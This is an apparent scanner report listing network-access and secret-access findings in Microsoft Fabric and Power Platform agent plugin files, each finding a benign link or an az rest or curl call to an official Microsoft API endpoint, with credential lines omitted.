  • Network accessline 2
    "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 16
    "name": "Tim Hanewich"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 17
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 18
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/skills/power-platform-architect/SKILL.md

  • Network accessline 33
    | AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans
  • Network accessline 34
    | Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an
  • Network accessline 35
    | Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con
  • Network accessline 61
    6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js
  • Network accessline 63
    8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction.
  • Network accessline 121
    - `high-level` - `high-volume` - `https://mermaid.ai/live/edit`
  • Network accessline 122
    - `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific`
  • Network accessline 123
    - `https://mermaid.ai/live/edit`
  • Network accessline 159
    ### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 161
    **Mermaid editor:** https://mermaid.ai/live/edit
  • Network accessline 175
    - [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors)
  • Network accessline 176
    - [Mermaid Live Editor](https://mermaid.ai/live/edit)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/README.md

  • Network accessline 29
    This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/plugin.json

  • Network accessline 1
    {   "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 2
    "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json",
  • Network accessline 7
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 8
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 9
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.claude-plugin/plugin.json

  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 1
    {   "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 2
    "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json",
  • Network accessline 5
    "version": "0.3.12",   "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",
  • Network accessline 5
    "version": "0.3.12",   "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",
  • Network accessline 6
    "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",   "keywords": [
  • Network accessline 6
    "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",   "keywords": [
  • Network accessline 7
    "repository": "https://github.com/microsoft/skills-for-fabric",
  • Network accessline 7
    "repository": "https://github.com/microsoft/skills-for-fabric",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.github/plugin/plugin.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft-07/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft-07/schema",
  • Network accessline 5
    "version": "0.3.12",   "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",
  • Network accessline 6
    "license": "MIT",   "repository": "https://github.com/microsoft/skills-for-fabric",   "keywords": [
  • Network accessline 7
    "repository": "https://github.com/microsoft/skills-for-fabric",

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CLI.md

  • Network accessline 24
    > **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 25
    > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience.  Without `--resource`, `az rest` will
  • Network accessline 26
    > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires
  • Network accessline 34
    > **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 35
    > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` —
  • Network accessline 77
    az rest \   --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 78
    --method get \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 79
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 80
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 83
    # curl to the Fabric API — add it via -H:
  • Network accessline 84
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Network accessline 85
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Network accessline 87
    "https://api.fabric.microsoft.com/v1/workspaces"
  • Network accessline 116
    **Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht
  • Network accessline 119
    WS_NAME="Marketing" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 121
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 122
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 139
    ITEM_TYPE="Lakehouse" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 140
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 141
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \
  • Network accessline 156
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 157
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 158
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 159
    --url "https://api.fabric.microsoft.com/v1/catalog/search" \
  • Network accessline 163
    * The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se
  • Network accessline 165
    * See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types.
  • Network accessline 203
    # Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 204
    FABRIC_API_BASE="https://api.fabric.microsoft.com"
  • Network accessline 205
    FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com"
  • Network accessline 224
    | Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 225
    |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 226
    | `https://api.fabric.microsoft.com` | Fabric REST API |
  • Network accessline 227
    | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs |
  • Network accessline 228
    | `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) |
  • Network accessline 229
    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Access to secretsline 513
    [Credential-related source omitted]
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 645
    # For a Lakehouse SQL Endpoint: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 646
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 647
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 648
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \
  • Network accessline 651
    # For a SQL Database: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 652
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 653
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 654
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \
  • Network accessline 667
    NOTEBOOK_ID="<notebookId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 668
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 669
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 670
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook"
  • Network accessline 679
    PIPELINE_ID="<pipelineId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 680
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 681
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 682
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline"
  • Network accessline 688
    MODEL_ID="<semanticModelId>" az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 689
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 690
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 691
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh"
  • Network accessline 700
    JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 701
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 702
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 703
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID"
  • Network accessline 709
    az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 710
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 711
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel"
  • Network accessline 731
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 732
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 733
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 734
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \
  • Network accessline 744
    # List az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 745
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 746
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules"
  • Network accessline 747
    # Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 748
    az rest --method delete --resource "https://api.fabric.microsoft.com" \
  • Network accessline 749
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID"
  • Network accessline 773
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 774
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 775
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 776
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \
  • Network accessline 783
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 784
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 785
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts"
  • Network accessline 792
    SHORTCUT_PATH="Tables/external_data" az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 793
    az rest --method delete    --resource "https://api.fabric.microsoft.com"
  • Network accessline 794
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 795
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH"
  • Network accessline 807
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 808
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 809
    --url "https://api.fabric.microsoft.com/v1/capacities" \
  • Network accessline 819
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 820
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 821
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 822
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \
  • Network accessline 843
    # Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 844
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 845
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 846
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 850
    # Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 851
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 852
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 853
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 857
    [Credential-related source omitted]
  • Network accessline 858
    [Credential-related source omitted]
  • Network accessline 859
    [Credential-related source omitted]
  • Access to secretsline 859
    [Credential-related source omitted]
  • Access to secretsline 860
    [Credential-related source omitted]
  • Network accessline 872
    # Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 873
    LH_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 874
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 875
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \
  • Network accessline 879
    SQL_INFO=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 880
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 881
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \
  • Network accessline 907
    # fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \   "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 908
    RESULT=$(fabric_lro POST    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 909
    "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook")
  • Network accessline 920
    | Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` |
  • Network accessline 921
    |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns
  • Network accessline 922
    | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001
  • Network accessline 923
    | `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake
  • Network accessline 924
    | `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake |
  • Network accessline 952
    az rest \   --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 953
    --method {get|post|put|patch|delete} \   --resource "https://api.fabric.microsoft.com" \   --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 954
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 955
    --url "https://api.fabric.microsoft.com/v1/{path}" \
  • Network accessline 974
    | Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` |
  • Network accessline 975
    |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 976
    | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` |
  • Network accessline 977
    | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` |
  • Network accessline 978
    | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 979
    | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools |
  • Network accessline 980
    | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` |
  • Network accessline 981
    | Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CORE.md

  • Network accessline 33
    | Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 34
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 35
    | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` |
  • Network accessline 36
    | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` |
  • Network accessline 37
    | **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 38
    | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` |
  • Network accessline 39
    | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` |
  • Network accessline 43
    | **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 44
    | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 45
    | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` |
  • Network accessline 46
    | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` |
  • Network accessline 47
    | **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 48
    | **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) |
  • Network accessline 61
    | Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 62
    |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 63
    | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` |
  • Network accessline 64
    | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 65
    | **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` |
  • Network accessline 66
    | **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` |
  • Network accessline 67
    | **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) |
  • Network accessline 68
    | **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` |
  • Network accessline 69
    | **Azure Resource Management** | `https://management.azure.com/.default` |
  • Network accessline 71
    > **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail.
  • Network accessline 72
    > > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. >
  • Network accessline 73
    > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly.
  • Network accessline 75
    > Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes
  • Network accessline 87
    **Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token`
  • Network accessline 91
    [Credential-related source omitted]
